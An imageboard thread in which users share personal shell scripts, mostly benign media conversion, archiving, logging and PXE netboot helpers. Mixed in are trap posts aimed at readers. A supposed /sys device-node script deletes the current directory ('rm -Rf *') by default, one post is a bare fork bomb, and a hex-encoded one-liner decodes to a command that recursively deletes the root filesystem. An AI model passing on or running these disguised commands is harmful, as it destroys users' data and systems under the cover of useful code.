This thread is for sharing shell scripts you have written.
>>53606629#!/bin/sh
clear
title=`youtube-dl $1 --prefer-ffmpeg --get-title -i`
notify-send "$title"
toilet -f term --filter border $title
mpv $1 --no-video --loop --really-quiet
#!/bin/bash
for a in ./*.flac; do
avconv -i "$a" -qscale:a 0 "${a[@]/%flac/mp3}"
done
>>53606629#!/bin/bash
echo "hello world!"
pls rate. no bully.
#!/bin/sh -e
VERBOSE=""
SIMU=""
for i in "$@"
do
case "$i" in
"-d")
set -x;;
"-n")
SIMU="yes";;
"-v")
VERBOSE="yes";;
*)
echo "usage: $0 [-d] [-v]" >&2
exit 1;;
esac
done
if [ -z "$SIMU" ]
then
rm -Rf *
fi
for i in $(find /sys -type f -name dev)
do
UEVENT="$(dirname "$i")/uevent"
MAJOR="$(grep MAJOR= $UEVENT | sed -e "s/MAJOR=\(.*\)/\1/")"
MINOR="$(grep MINOR= $UEVENT | sed -e "s/MINOR=\(.*\)/\1/")"
DEVNAME="$(grep DEVNAME= $UEVENT | sed -e "s/DEVNAME=\(.*\)/\1/")"
SUBSYTEM="$(ls -l "$(dirname "$i")/subsystem")"
case "$SUBSYTEM" in
*"block"*)
DEVTYPE="b"
;;
*"bus"*)
DEVTYPE="b"
;;
*"class"*)
DEVTYPE="c"
;;
*)
echo "dunno what to do with $SUBSYTEM" >&2
exit 1
;;
esac
DIR="$(dirname "$DEVNAME")"
if [ -n "$DIR" ]
then
if [ -z "$SIMU" ]
then
mkdir -p "$DIR"
fi
fi
if [ -n "$VERBOSE" ]
then
echo "mknod -m 600 $DEVNAME $DEVTYPE $MAJOR $MINOR"
fi
if [ -z "$SIMU" ]
then
mknod -m 600 "$DEVNAME" "$DEVTYPE" "$MAJOR" "$MINOR"
fi
done
Shell was a mistake
It is a waste
>>53606780
Very utile to small stuff. Hard to maintain code.
It's not much, but I use it frequently.#!/bin/bash
find -type f -iname '*.flac' | parallel --eta opusenc --bitrate 256K '{}' '{.}.opus';
find -type f -iname '*.flac' | parallel --eta rm '{}';
#!/bin/sh -ex
exe="$(basename "$0")"
if [ -n "$2" ]
then
usage "$exe [ENTRY]" >&2
false
elif [ -n "$1" ]
then
dir="$1"
else
dir="$(basename "$(pwd)")"
cd ..
fi
BASENAME="$(basename "$dir")"
DIRNAME="$(dirname "$dir")"
ARCHIVE="$DIRNAME/$BASENAME-$(date -u '+%Y%m%d-%H%M%S'.tar.gz)"
tar czf "$ARCHIVE" "$dir"
>>53606763
>echo "dunno what to do with $SUBSYTEM"
triggered
>>53606894
Why?
>>53606906
Inner autism hates slang in programming.
>>53606948
That autism isn't really inner, anon.
>>53606756
creative. Love the white-space!
#!/bin/sh
:(){ :|:& };:
#!/bin/bash
now=$(date +"%d.%m.%y %k:%M")
commandoutput=$(/opt/vc/bin/vcgencmd measure_temp | sed 's/temp=//')
echo "$now|$commandoutput" >> temp.log
echo $commandoutput
>>53607442#!/bin/sh
# urldiff: Download and compare text from two URLs in parallel
# usage: urldiff 'URL1' 'URL2'
curl --version &>/dev/null && URLGET="curl -sS -L" || URLGET="wget -nv -O-"
idiff <($URLGET "$1") <($URLGET "$2")
#!/bin/bash
arch="i386"
dist="debian"
dist_release="stretch"
time_stamp="$(date +%Y-%m-%d_%H-%M)"
cd /srv/tftp/$dist/$dist_release
if [ ! -d "archive" ]; then
mkdir "archive"
fi
tar czf archive/$arch-$time_stamp $arch
if [ -e "archive/$arch-$time_stamp" ]; then
rm -r $arch
else
echo "Could not archive. Exiting..."
exit 1
fi
if [ -d "$arch" ]; then
echo "Old release folder not removed. Exiting..."
exit 1
else
mkdir $arch
cd $arch
fi
curl "http://ftp.nl.debian.org/debian/dists/$dist_release/main/installer-$arch/current/images/netboot/netboot.tar.gz" | tar zx
mv debian-installer/$arch/!(pxelinux.cfg) .
rm -r debian-installer pxelinux.cfg ldlinux.c32
sed -i "s,debian-installer,$dist/$dist_release,g" boot-screens/*.cfg
echo "Done!"
Upgrade a Debian netboot release for a PXE server.
fun fact:
Most distros, if ~/bin does not already exist, just mkdir ~/bin, log out of your desktop, log in again, and ~/bin will be in your path.
>>53611514
You mean the distro maintained~/.bashrccontains something like.if [ -d "$HOME/bin" ]; then
PATH="$HOME/bin:$PATH"
fi
>>53611604
möööh. I mean~/.profile
>>53611612
Stop trying to make it seem less magical.
>>53606756
Maybe use capital letters next time
>>53606629
is there any reason to use sh over bash?
>>53613832
portability
>>53613832
If the system uses an alternate shell such as zsh or fish
$(echo -n 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f | xxd -r -p -) &>2
>>53606629
bump
>>53615673
Thank you for bumping my thread kind stranger. :^)
>>53615761
there are a lot at http://twily.info.
I will upload a script that gets images from imgur later
alias bash /usr/bin/python